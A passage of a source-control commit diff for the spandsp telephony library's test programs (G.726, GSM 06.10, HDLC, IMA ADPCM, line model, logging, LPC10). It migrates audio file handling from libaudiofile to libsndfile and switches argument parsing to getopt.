+            printf("Test %d: Length mismatch - ref = %d, processed = %d\n", test, samples, len3 - conditioning_adpcm);
+            exit(2);
+        }
+    }
+
+    printf("Tests passed.\n");
+}
+/*- End of function --------------------------------------------------------*/
+
+int main(int argc, char *argv[])
+{
+    g726_state_t enc_state;
+    g726_state_t dec_state;
+    int opt;
+    int itutests;
+    int bit_rate;
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
+    int16_t amp[1024];
+    int frames;
+    int outframes;
+    int adpcm;
+    int packing;
+
+    bit_rate = 32000;
+    itutests = TRUE;
+    packing = G726_PACKING_NONE;
+    while ((opt = getopt(argc, argv, "b:LR")) != -1)
+    {
+        switch (opt)
+        {
+        case 'b':
+            bit_rate = atoi(optarg);
+            if (bit_rate != 16000  &&  bit_rate != 24000  &&  bit_rate != 32000  &&  bit_rate != 40000)
             {
-                printf("Test %d: Length mismatch - ref = %d, processed = %d\n", test, samples, len3 - conditioning_adpcm);
+                fprintf(stderr, "Invalid bit rate selected. Only 16000, 24000, 32000 and 40000 are valid.\n");
                 exit(2);
             }
+            itutests = FALSE;
+            break;
+        case 'L':
+            packing = G726_PACKING_LEFT;
+            break;
+        case 'R':
+            packing = G726_PACKING_RIGHT;
+            break;
+        default:
+            //usage();
+            exit(2);
         }
+    }
 
-        printf("Tests passed.\n");
+    if (itutests)
+    {
+        itu_compliance_tests();
     }
     else
     {
-        if ((inhandle = afOpenFile_telephony_read(IN_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+        if ((inhandle = sf_open_telephony_read(IN_FILE_NAME, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot open wave file '%s'\n", IN_FILE_NAME);
+            fprintf(stderr, "    Cannot open audio file '%s'\n", IN_FILE_NAME);
             exit(2);
         }
-        if ((outhandle = afOpenFile_telephony_write(OUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+        if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
             exit(2);
         }
 
         printf("ADPCM packing is %d\n", packing);
-        //g726_init(&enc_state, bit_rate, G726_ENCODING_LINEAR, G726_PACKING_LEFT);
-        //g726_init(&dec_state, bit_rate, G726_ENCODING_LINEAR, G726_PACKING_RIGHT);
         g726_init(&enc_state, bit_rate, G726_ENCODING_LINEAR, packing);
         g726_init(&dec_state, bit_rate, G726_ENCODING_LINEAR, packing);
             
-        while ((frames = afReadFrames(inhandle, AF_DEFAULT_TRACK, amp, 159)))
+        while ((frames = sf_readf_short(inhandle, amp, 159)))
         {
             adpcm = g726_encode(&enc_state, adpcmdata, amp, frames);
             frames = g726_decode(&dec_state, amp, adpcmdata, adpcm);
-            outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, amp, frames);
+            outframes = sf_writef_short(outhandle, amp, frames);
         }
-        if (afCloseFile(inhandle) != 0)
+        if (sf_close(inhandle) != 0)
         {
-            printf("    Cannot close wave file '%s'\n", IN_FILE_NAME);
+            printf("    Cannot close audio file '%s'\n", IN_FILE_NAME);
             exit(2);
         }
-        if (afCloseFile(outhandle) != 0)
+        if (sf_close(outhandle) != 0)
         {
-            printf("    Cannot close wave file '%s'\n", OUT_FILE_NAME);
+            printf("    Cannot close audio file '%s'\n", OUT_FILE_NAME);
             exit(2);
         }
         printf("'%s' transcoded to '%s' at %dbps.\n", IN_FILE_NAME, OUT_FILE_NAME, bit_rate);

Modified: freeswitch/branches/seven/libs/spandsp/tests/gsm0610_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/gsm0610_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/gsm0610_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: gsm0610_tests.c,v 1.19 2008/08/29 09:28:13 steveu Exp $
+ * $Id: gsm0610_tests.c,v 1.25 2009/05/30 15:23:13 steveu Exp $
  */
 
 /*! \file */
@@ -35,9 +35,6 @@
     - A generally audio quality test, consisting of compressing and decompressing a speeech
       file for audible comparison.
 
-The speech file should be recorded at 16 bits/sample, 8000 samples/second, and named
-"pre_gsm0610.wav".
-
 \section gsm0610_tests_page_sec_2 How is it used?
 To perform the tests in the GSM 06.10 specification you need to obtain the test data files from the
 specification. These are copyright material, and so cannot be distributed with this test software.
@@ -126,8 +123,12 @@
 #include <unistd.h>
 #include <string.h>
 #include <ctype.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -515,71 +516,78 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+static void etsi_compliance_tests(void)
+{
+    perform_linear_test(TRUE, 1, "Seq01");
+    perform_linear_test(TRUE, 1, "Seq02");
+    perform_linear_test(TRUE, 1, "Seq03");
+    perform_linear_test(TRUE, 1, "Seq04");
+    perform_linear_test(FALSE, 1, "Seq05");
+    perform_law_test(TRUE, 'a', "Seq01");
+    perform_law_test(TRUE, 'a', "Seq02");
+    perform_law_test(TRUE, 'a', "Seq03");
+    perform_law_test(TRUE, 'a', "Seq04");
+    perform_law_test(FALSE, 'a', "Seq05");
+    perform_law_test(TRUE, 'u', "Seq01");
+    perform_law_test(TRUE, 'u', "Seq02");
+    perform_law_test(TRUE, 'u', "Seq03");
+    perform_law_test(TRUE, 'u', "Seq04");
+    perform_law_test(FALSE, 'u', "Seq05");
+    /* This is not actually an ETSI test */
+    perform_pack_unpack_test();
+
+    printf("Tests passed.\n");
+}
+/*- End of function --------------------------------------------------------*/
+
 int main(int argc, char *argv[])
 {
-    AFfilehandle inhandle;
-    AFfilehandle outhandle;
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
     int frames;
     int outframes;
+    int bytes;
     int16_t pre_amp[HIST_LEN];
     int16_t post_amp[HIST_LEN];
     uint8_t gsm0610_data[HIST_LEN];
     gsm0610_state_t *gsm0610_enc_state;
     gsm0610_state_t *gsm0610_dec_state;
+    int opt;
     int etsitests;
     int packing;
-    int i;
 
     etsitests = TRUE;
     packing = GSM0610_PACKING_NONE;
-    for (i = 1;  i < argc;  i++)
+    while ((opt = getopt(argc, argv, "lp:")) != -1)
     {
-        if (strcmp(argv[i], "-l") == 0)
+        switch (opt)
         {
+        case 'l':
             etsitests = FALSE;
-            continue;
+            break;
+        case 'p':
+            packing = atoi(optarg);
+            break;
+        default:
+            //usage();
+            exit(2);
         }
-        if (strcmp(argv[i], "-p") == 0)
-        {
-            packing = atoi(argv[++i]);
-            continue;
-        }
-        fprintf(stderr, "Unknown parameter %s specified.\n", argv[i]);
-        exit(2);
     }
 
     if (etsitests)
     {
-        perform_linear_test(TRUE, 1, "Seq01");
-        perform_linear_test(TRUE, 1, "Seq02");
-        perform_linear_test(TRUE, 1, "Seq03");
-        perform_linear_test(TRUE, 1, "Seq04");
-        perform_linear_test(FALSE, 1, "Seq05");
-        perform_law_test(TRUE, 'a', "Seq01");
-        perform_law_test(TRUE, 'a', "Seq02");
-        perform_law_test(TRUE, 'a', "Seq03");
-        perform_law_test(TRUE, 'a', "Seq04");
-        perform_law_test(FALSE, 'a', "Seq05");
-        perform_law_test(TRUE, 'u', "Seq01");
-        perform_law_test(TRUE, 'u', "Seq02");
-        perform_law_test(TRUE, 'u', "Seq03");
-        perform_law_test(TRUE, 'u', "Seq04");
-        perform_law_test(FALSE, 'u', "Seq05");
-        /* This is not actually an ETSI test */
-        perform_pack_unpack_test();
-
-        printf("Tests passed.\n");
+        etsi_compliance_tests();
     }
     else
     {
-        if ((inhandle = afOpenFile_telephony_read(IN_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+        if ((inhandle = sf_open_telephony_read(IN_FILE_NAME, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot open wave file '%s'\n", IN_FILE_NAME);
+            fprintf(stderr, "    Cannot open audio file '%s'\n", IN_FILE_NAME);
             exit(2);
         }
-        if ((outhandle = afOpenFile_telephony_write(OUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+        if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
             exit(2);
         }
     
@@ -595,21 +603,21 @@
             exit(2);
         }
 
-        while ((frames = afReadFrames(inhandle, AF_DEFAULT_TRACK, pre_amp, 2*BLOCK_LEN)))
+        while ((frames = sf_readf_short(inhandle, pre_amp, 2*BLOCK_LEN)))
         {
-            gsm0610_encode(gsm0610_enc_state, gsm0610_data, pre_amp, (packing == GSM0610_PACKING_WAV49)  ?  BLOCK_LEN  :  2*BLOCK_LEN);
-            gsm0610_decode(gsm0610_dec_state, post_amp, gsm0610_data, (packing == GSM0610_PACKING_WAV49)  ?  33  :  65);
-            outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, post_amp, frames);
+            bytes = gsm0610_encode(gsm0610_enc_state, gsm0610_data, pre_amp, frames);
+            gsm0610_decode(gsm0610_dec_state, post_amp, gsm0610_data, bytes);
+            outframes = sf_writef_short(outhandle, post_amp, frames);
         }
     
-        if (afCloseFile(inhandle) != 0)
+        if (sf_close(inhandle) != 0)
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", IN_FILE_NAME);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", IN_FILE_NAME);
             exit(2);
         }
-        if (afCloseFile(outhandle) != 0)
+        if (sf_close(outhandle) != 0)
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_NAME);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME);
             exit(2);
         }
         gsm0610_release(gsm0610_enc_state);

Modified: freeswitch/branches/seven/libs/spandsp/tests/hdlc_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/hdlc_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/hdlc_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: hdlc_tests.c,v 1.46 2008/09/07 12:55:13 steveu Exp $
+ * $Id: hdlc_tests.c,v 1.48 2008/11/30 05:43:37 steveu Exp $
  */
 
 /*! \file */
@@ -43,6 +43,7 @@
 #include <string.h>
 
 #include "spandsp.h"
+#include "spandsp/private/hdlc.h"
 
 int ref_len;
 uint8_t buf[1000];
@@ -789,6 +790,8 @@
 
 static void decode_handler(void *user_data, const uint8_t *pkt, int len, int ok)
 {
+    int i;
+
     if (len < 0)
     {
         /* Special conditions */
@@ -798,6 +801,10 @@
     if (ok)
     {
         printf("Good frame, len = %d\n", len);
+        printf("HDLC:  ");
+        for (i = 0;  i < len;  i++)
+            printf("%02X ", pkt[i]);
+        printf("\n");
     }
     else
     {
@@ -819,7 +826,7 @@
         exit(2);
     }
 
-    hdlc_rx_init(&rx, TRUE, TRUE, 2, decode_handler, NULL);
+    hdlc_rx_init(&rx, FALSE, TRUE, 2, decode_handler, NULL);
     while (fgets(buf, 1024, in))
     {
         if (sscanf(buf, "Rx bit %*d - %d", &bit) == 1)

Modified: freeswitch/branches/seven/libs/spandsp/tests/ima_adpcm_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/ima_adpcm_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/ima_adpcm_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: ima_adpcm_tests.c,v 1.34 2008/08/29 09:28:13 steveu Exp $
+ * $Id: ima_adpcm_tests.c,v 1.36 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \file */
@@ -49,8 +49,12 @@
 #include <unistd.h>
 #include <string.h>
 #include <time.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -62,8 +66,8 @@
 int main(int argc, char *argv[])
 {
     int i;
-    AFfilehandle inhandle;
-    AFfilehandle outhandle;
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
     int frames;
     int dec_frames;
     int outframes;
@@ -122,15 +126,15 @@
         }
     }
 
-    if ((inhandle = afOpenFile_telephony_read(in_file_name, 1)) == AF_NULL_FILEHANDLE)
+    if ((inhandle = sf_open_telephony_read(in_file_name, 1)) == NULL)
     {
-        fprintf(stderr, "    Cannot open wave file '%s'\n", in_file_name);
+        fprintf(stderr, "    Cannot open audio file '%s'\n", in_file_name);
         exit(2);
     }
 
-    if ((outhandle = afOpenFile_telephony_write(OUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 1)) == NULL)
     {
-        fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
+        fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
         exit(2);
     }
 
@@ -154,7 +158,7 @@
     total_pre_samples = 0;
     total_compressed_bytes = 0;
     total_post_samples = 0;
-    while ((frames = afReadFrames(inhandle, AF_DEFAULT_TRACK, pre_amp, chunk_size)))
+    while ((frames = sf_readf_short(inhandle, pre_amp, chunk_size)))
     {
         total_pre_samples += frames;
         ima_bytes = ima_adpcm_encode(ima_enc_state, ima_data, pre_amp, frames);
@@ -178,16 +182,16 @@
                 hist_out = 0;
             diff_energy += (double) xx * (double) xx;
         }
-        outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, post_amp, dec_frames);
+        outframes = sf_writef_short(outhandle, post_amp, dec_frames);
     }
-    if (afCloseFile(inhandle) != 0)
+    if (sf_close(inhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", in_file_name);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", in_file_name);
         exit(2);
     }
-    if (afCloseFile(outhandle) != 0)
+    if (sf_close(outhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_NAME);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME);
         exit(2);
     }
     ima_adpcm_release(ima_enc_state);

Modified: freeswitch/branches/seven/libs/spandsp/tests/line_model_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/line_model_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/line_model_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: line_model_tests.c,v 1.24 2008/05/13 13:17:26 steveu Exp $
+ * $Id: line_model_tests.c,v 1.27 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \page line_model_tests_page Telephony line model tests
@@ -43,8 +43,12 @@
 #include <unistd.h>
 #include <string.h>
 #include <time.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -69,25 +73,14 @@
     complexf_t cc;
     int16_t amp;
     int i;
-    AFfilehandle outhandle;
-    AFfilesetup filesetup;
+    SNDFILE *outhandle;
     int outframes;
     int16_t out[40000];
     awgn_state_t noise1;
-    
-    if ((filesetup = afNewFileSetup()) == AF_NULL_FILESETUP)
-    {
-        fprintf(stderr, "    Failed to create file setup\n");
-        exit(2);
-    }
-    afInitSampleFormat(filesetup, AF_DEFAULT_TRACK, AF_SAMPFMT_TWOSCOMP, 16);
-    afInitRate(filesetup, AF_DEFAULT_TRACK, (float) SAMPLE_RATE);
-    afInitFileFormat(filesetup, AF_FILE_WAVE);
-    afInitChannels(filesetup, AF_DEFAULT_TRACK, 2);
 
-    if ((outhandle = afOpenFile(OUT_FILE_COMPLEXIFY, "w", filesetup)) == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUT_FILE_COMPLEXIFY, 2)) == NULL)
     {
-        fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_COMPLEXIFY);
+        fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_COMPLEXIFY);
         exit(2);
     }
     awgn_init_dbm0(&noise1, 1234567, -10.0f);
@@ -99,21 +92,17 @@
         out[2*i] = cc.re;
         out[2*i + 1] = cc.im;
     }
-    outframes = afWriteFrames(outhandle,
-                              AF_DEFAULT_TRACK,
-                              out,
-                              20000);
+    outframes = sf_writef_short(outhandle, out, 20000);
     if (outframes != 20000)
     {
-        fprintf(stderr, "    Error writing wave file\n");
+        fprintf(stderr, "    Error writing audio file\n");
         exit(2);
     }
-    if (afCloseFile(outhandle))
+    if (sf_close(outhandle))
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_COMPLEXIFY);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_COMPLEXIFY);
         exit(2);
     }
-    afFreeFileSetup(filesetup);
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -123,9 +112,8 @@
     int16_t input1[BLOCK_LEN];
     int16_t output1[BLOCK_LEN];
     int16_t amp[2*BLOCK_LEN];
-    AFfilehandle inhandle1;
-    AFfilehandle outhandle;
-    AFfilesetup filesetup;
+    SNDFILE *inhandle1;
+    SNDFILE *outhandle;
     int outframes;
     int samples;
     int i;
@@ -140,34 +128,21 @@
     
     awgn_init_dbm0(&noise1, 1234567, -10.0f);
 
-    if ((filesetup = afNewFileSetup()) == AF_NULL_FILESETUP)
+    if ((inhandle1 = sf_open_telephony_read(IN_FILE_NAME1, 1)) == NULL)
     {
-        fprintf(stderr, "    Failed to create file setup\n");
+        fprintf(stderr, "    Cannot open audio file '%s'\n", IN_FILE_NAME1);
         exit(2);
     }
-    afInitSampleFormat(filesetup, AF_DEFAULT_TRACK, AF_SAMPFMT_TWOSCOMP, 16);
-    afInitRate(filesetup, AF_DEFAULT_TRACK, (float) SAMPLE_RATE);
-    afInitFileFormat(filesetup, AF_FILE_WAVE);
-    afInitChannels(filesetup, AF_DEFAULT_TRACK, 1);
-
-    if ((inhandle1 = afOpenFile(IN_FILE_NAME1, "r", NULL)) == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME1, 1)) == NULL)
     {
-        fprintf(stderr, "    Cannot open wave file '%s'\n", IN_FILE_NAME1);
+        fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME1);
         exit(2);
     }
-    if ((outhandle = afOpenFile(OUT_FILE_NAME1, "w", filesetup)) == AF_NULL_FILEHANDLE)
-    {
-        fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME1);
-        exit(2);
-    }
     for (i = 0;  i < 10000;  i++)
     {
         if (speech_test)
         {
-            samples = afReadFrames(inhandle1,
-                                   AF_DEFAULT_TRACK,
-                                   input1,
-                                   BLOCK_LEN);
+            samples = sf_readf_short(inhandle1, input1, BLOCK_LEN);
             if (samples == 0)
                 break;
         }
@@ -185,27 +160,23 @@
                                1);
             amp[j] = output1[j];
         }
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  samples);
+        outframes = sf_writef_short(outhandle, amp, samples);
         if (outframes != samples)
         {
-            fprintf(stderr, "    Error writing wave file\n");
+            fprintf(stderr, "    Error writing audio file\n");
             exit(2);
         }
     }
-    if (afCloseFile(inhandle1))
+    if (sf_close(inhandle1))
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", IN_FILE_NAME1);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", IN_FILE_NAME1);
         exit(2);
     }
-    if (afCloseFile(outhandle))
+    if (sf_close(outhandle))
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_NAME1);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME1);
         exit(2);
     }
-    afFreeFileSetup(filesetup);
     one_way_line_model_release(model);
 }
 /*- End of function --------------------------------------------------------*/
@@ -218,10 +189,9 @@
     int16_t output1[BLOCK_LEN];
     int16_t output2[BLOCK_LEN];
     int16_t amp[2*BLOCK_LEN];
-    AFfilehandle inhandle1;
-    AFfilehandle inhandle2;
-    AFfilehandle outhandle;
-    AFfilesetup filesetup;
+    SNDFILE *inhandle1;
+    SNDFILE *inhandle2;
+    SNDFILE *outhandle;
     int outframes;
     int samples;
     int i;
@@ -238,49 +208,29 @@
     awgn_init_dbm0(&noise1, 1234567, -10.0f);
     awgn_init_dbm0(&noise2, 1234567, -10.0f);
 
-    filesetup = afNewFileSetup();
-    if (filesetup == AF_NULL_FILESETUP)
+    if ((inhandle1 = sf_open_telephony_read(IN_FILE_NAME1, 1)) == NULL)
     {
-        fprintf(stderr, "    Failed to create file setup\n");
+        fprintf(stderr, "    Cannot open audio file '%s'\n", IN_FILE_NAME1);
         exit(2);
     }
-    afInitSampleFormat(filesetup, AF_DEFAULT_TRACK, AF_SAMPFMT_TWOSCOMP, 16);
-    afInitRate(filesetup, AF_DEFAULT_TRACK, (float) SAMPLE_RATE);
-    afInitFileFormat(filesetup, AF_FILE_WAVE);
-    afInitChannels(filesetup, AF_DEFAULT_TRACK, 2);
-
-    inhandle1 = afOpenFile(IN_FILE_NAME1, "r", NULL);
-    if (inhandle1 == AF_NULL_FILEHANDLE)
+    if ((inhandle2 = sf_open_telephony_read(IN_FILE_NAME2, 1)) == NULL)
     {
-        fprintf(stderr, "    Cannot open wave file '%s'\n", IN_FILE_NAME1);
+        fprintf(stderr, "    Cannot open audio file '%s'\n", IN_FILE_NAME2);
         exit(2);
     }
-    inhandle2 = afOpenFile(IN_FILE_NAME2, "r", NULL);
-    if (inhandle2 == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 2)) == NULL)
     {
-        fprintf(stderr, "    Cannot open wave file '%s'\n", IN_FILE_NAME2);
+        fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
         exit(2);
     }
-    outhandle = afOpenFile(OUT_FILE_NAME, "w", filesetup);
-    if (outhandle == AF_NULL_FILEHANDLE)
-    {
-        fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
-        exit(2);
-    }
     for (i = 0;  i < 10000;  i++)
     {
         if (speech_test)
         {
-            samples = afReadFrames(inhandle1,
-                                   AF_DEFAULT_TRACK,
-                                   input1,
-                                   BLOCK_LEN);
+            samples = sf_readf_short(inhandle1, input1, BLOCK_LEN);
             if (samples == 0)
                 break;
-            samples = afReadFrames(inhandle2,
-                                   AF_DEFAULT_TRACK,
-                                   input2,
-                                   samples);
+            samples = sf_readf_short(inhandle2, input2, samples);
             if (samples == 0)
                 break;
         }
@@ -304,32 +254,28 @@
             amp[2*j] = output1[j];
             amp[2*j + 1] = output2[j];
         }
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  samples);
+        outframes = sf_writef_short(outhandle, amp, samples);
         if (outframes != samples)
         {
-            fprintf(stderr, "    Error writing wave file\n");
+            fprintf(stderr, "    Error writing audio file\n");
             exit(2);
         }
     }
-    if (afCloseFile(inhandle1))
+    if (sf_close(inhandle1))
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", IN_FILE_NAME1);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", IN_FILE_NAME1);
         exit(2);
     }
-    if (afCloseFile(inhandle2))
+    if (sf_close(inhandle2))
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", IN_FILE_NAME2);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", IN_FILE_NAME2);
         exit(2);
     }
-    if (afCloseFile(outhandle))
+    if (sf_close(outhandle))
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_NAME);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME);
         exit(2);
     }
-    afFreeFileSetup(filesetup);
     both_ways_line_model_release(model);
 }
 /*- End of function --------------------------------------------------------*/
@@ -339,39 +285,36 @@
     int line_model_no;
     int speech_test;
     int log_audio;
-    int i;
+    int opt;
 
+    channel_codec = MUNGE_CODEC_NONE;
+    log_audio = FALSE;
     line_model_no = 0;
+    rbs_pattern = 0;
     speech_test = FALSE;
-    log_audio = FALSE;
-    channel_codec = MUNGE_CODEC_NONE;
-    for (i = 1;  i < argc;  i++)
+    while ((opt = getopt(argc, argv, "c:lm:r:s:")) != -1)
     {
-        if (strcmp(argv[i], "-c") == 0)
+        switch (opt)
         {
-            channel_codec = atoi(argv[++i]);
-            continue;
-        }
-        if (strcmp(argv[i], "-l") == 0)
-        {
+        case 'c':
+            channel_codec = atoi(optarg);
+            break;
+        case 'l':
             log_audio = TRUE;
-            continue;
+            break;
+        case 'm':
+            line_model_no = atoi(optarg);
+            break;
+        case 'r':
+            rbs_pattern = atoi(optarg);
+            break;
+        case 's':
+            speech_test = atoi(optarg);
+            break;
+        default:
+            //usage();
+            exit(2);
         }
-        if (strcmp(argv[i], "-m") == 0)
-        {
-            line_model_no = atoi(argv[++i]);
-            continue;
-        }
-        if (strcmp(argv[i], "-r") == 0)
-        {
-            rbs_pattern = atoi(argv[++i]);
-            continue;
-        }
-        if (strcmp(argv[i], "-s") == 0)
-        {
-            speech_test = TRUE;
-            continue;
-        }
     }
     complexify_tests();
     test_one_way_model(line_model_no, speech_test);

Modified: freeswitch/branches/seven/libs/spandsp/tests/logging_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/logging_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/logging_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: logging_tests.c,v 1.14 2008/05/13 13:17:26 steveu Exp $
+ * $Id: logging_tests.c,v 1.16 2009/02/12 12:38:39 steveu Exp $
  */
 
 /*! \page logging_tests_page Logging tests
@@ -42,6 +42,10 @@
 #include <memory.h>
 #include <time.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 
 static int tests_failed = FALSE;
@@ -128,7 +132,7 @@
     struct timespec delay;
 
     /* Set up a logger */
-    if (span_log_init(&log, 123, "TAG"))
+    if (span_log_init(&log, 123, "TAG") == NULL)
     {
         fprintf(stderr, "Failed to initialise log.\n");
         exit(2);

Modified: freeswitch/branches/seven/libs/spandsp/tests/lpc10_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/lpc10_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/lpc10_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: lpc10_tests.c,v 1.21 2008/08/29 09:28:13 steveu Exp $
+ * $Id: lpc10_tests.c,v 1.24 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \file */
@@ -46,8 +46,12 @@
 #include <string.h>
 #include <assert.h>
 #include <ctype.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -63,9 +67,9 @@
 
 int main(int argc, char *argv[])
 {
-    AFfilehandle inhandle;
-    AFfilehandle refhandle;
-    AFfilehandle outhandle;
+    SNDFILE *inhandle;
+    SNDFILE *refhandle;
+    SNDFILE *outhandle;
     int frames;
     int outframes;
     double pre_energy;
@@ -89,6 +93,7 @@
     int compress_file;
     int decompress_file;
     int len;
+    int opt;
     int enc_len;
     int dec_len;
 
@@ -96,46 +101,44 @@
     decompress = FALSE;
     log_error = TRUE;
     in_file_name = IN_FILE_NAME;
-    for (i = 1;  i < argc;  i++)
+    while ((opt = getopt(argc, argv, "cdi:l")) != -1)
     {
-        if (strcmp(argv[i], "-c") == 0)
+        switch (opt)
         {
+        case 'c':
             compress = TRUE;
-            continue;
-        }
-        if (strcmp(argv[i], "-d") == 0)
-        {
+            break;
+        case 'd':
             decompress = TRUE;
-            continue;
-        }
-        if (strcmp(argv[i], "-i") == 0)
-        {
-            in_file_name = argv[++i];
-            continue;
-        }
-        if (strcmp(argv[i], "-l") == 0)
-        {
+            break;
+        case 'i':
+            in_file_name = optarg;
+            break;
+        case 'l':
             log_error = FALSE;
-            continue;
+            break;
+        default:
+            //usage();
+            exit(2);
         }
     }
 
     compress_file = -1;
     decompress_file = -1;
